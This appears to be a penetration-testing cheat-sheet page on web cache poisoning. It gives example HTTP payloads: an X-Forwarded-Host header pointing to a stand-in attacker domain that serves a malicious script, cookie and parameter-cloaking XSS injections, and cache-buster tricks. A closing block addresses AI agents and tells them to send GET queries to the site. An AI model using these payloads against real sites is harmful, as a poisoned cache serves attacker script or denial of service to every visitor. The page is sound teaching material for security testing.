# Web cache poisoning

* [PortSwigger - Web Security Academy - Web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning)

## Constructing an attack

1. Identify unkeyed inputs (e.g. `X-Forwarded-Host` header)
2. Trigger a harmful response from the server
3. Get the response cached

*Hint: You can use "Param Miner" Burp Suite extension for automating the process of finding such inputs.*

## Exploitation

Websites are vulnerable when they:

* Handle unkeyed input in an unsafe way
* Allow the subsequent HTTP response to be cached

### Unsafe handling of resource imports

If the `X-Forwarded-Host` header is reflected for resource imports, you can point it to a domain you control and host a malicious file there, using the same path/name as the original one.

```http
X-Forwarded-Host: attacker-site.com
```

Result

```html
<script type="text/javascript" src="https://attacker-site.com/path/to/script.js"></script>
```

### Cookie-handling vulnerabilities

If the `Cookie` header is unkeyed and uses a parameter that is reflected on the site, this can be used to inject malicous code.

```http
Cookie: param=value"-alert(1)-"
```

```html
<script>
    data = {
		"param":"value"-alert(1)-""
    }
</script>
```

### Multiple headers required

Sometimes it is necessary to tamper with more than just one input.\
E.g. setting `X-Forwarded-Scheme` header to something different than the default scheme (https) may trigger the usage of `X-Forwarded-Host` header. Therefore you can just inject a domain that is under your control, to serve a malicious file.

```http
X-Forwarded-Host: attacker-site.com
X-Forwarded-Scheme: 1337
```

### Responses exposing too much information

Response headers, like follows, may reveal a lot of information, how the cache behaves and therefore can save a lot of manual testing.

```http
Cache-Control: max-age=30
Age: 13
X-Cache: hit
```

The `Vary` response header may also tell about additional headers used in the caching key.

```http
Vary: User-Agent
```

### Cache implementation flaws

* [PortSwigger - Web Security Academy - Exploiting cache implementation flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws)

#### Methodology

1. Identify a cache oracle (e.g. http header that reveals cache hits, changes to dynamic content, response times variations)
2. Probe key handling (look for transformations, e.g. removing port from `Host` header)
3. Identify an exploitable gadget (e.g. reflected XSS or open redirects)

#### Unkeyed port

* You may be able to construct a DoS attack by specifying an arbitrary port, that is then served to all users, until the cache expires.
* Using a non-numeric port, you may even be able to serve XSS payloads.

#### Unkeyed query string

If the query string is not keyed and vulnerable to e.g. reflected XSS, your XSS payload will be served to any user accessing that site, once you poisoned the cache.

Unfortunately, as the query string is unkeyed, it cannot be used as a cache buster.

Gladly, there are alternative cache busters, like:

1. Common headers, e.g.: `Accept-Encoding`, `Accept`, `Cookie`, `Origin` (subdomain)
2. Using discrepancies between backend and cache, e.g. modifiying the path to `//` (Apache), `/%2F` (nginx), `/index.php/xyz` (PHP), `/(A(xyz)/` (.NET)

#### Unkeyed query parameters

Basically the same as "Unkeyed query string", but only part of the query string is unkeyed (e.g. specific parameters, like `utm_` analytics/tracking parameters).

#### Parameter cloaking

Potenial attack surfaces appear, when there are disceprancies between the cache and the application.

Examples:

* Poor written parsing algorithms may treat any `?` as the start of a new parameter.
* Ruby on Rails interprets both `&` and `;` as parameter delimiters, but maybe the cache does not.

```http
GET /jsonp?callback=someFunction&utm_content=;callback=alert(1)
```

#### Fat GET support

* Sometimes the HTTP method may not be keyed. Therefore you could poison the cache with a `POST` request containing a malicious body, which will then also be served for users invoking `GET` requests.
* Pretty rare, but sometimes you can also just add a body to a `GET` request.

#### Normalized cache keys

When a cache normalizes keyed input, it can lead to exploitable behavior. Ocassionally even to exploits that would otherwise be almost impossible.

Poison the cache with your payload.

```http
GET /<script>alert(1)</script>
```

Deliver a url encoded version to your victim, which then will be served with the poisened version from the cache.

```http
GET /%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/exploitation/web/web-cache-poisoning.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
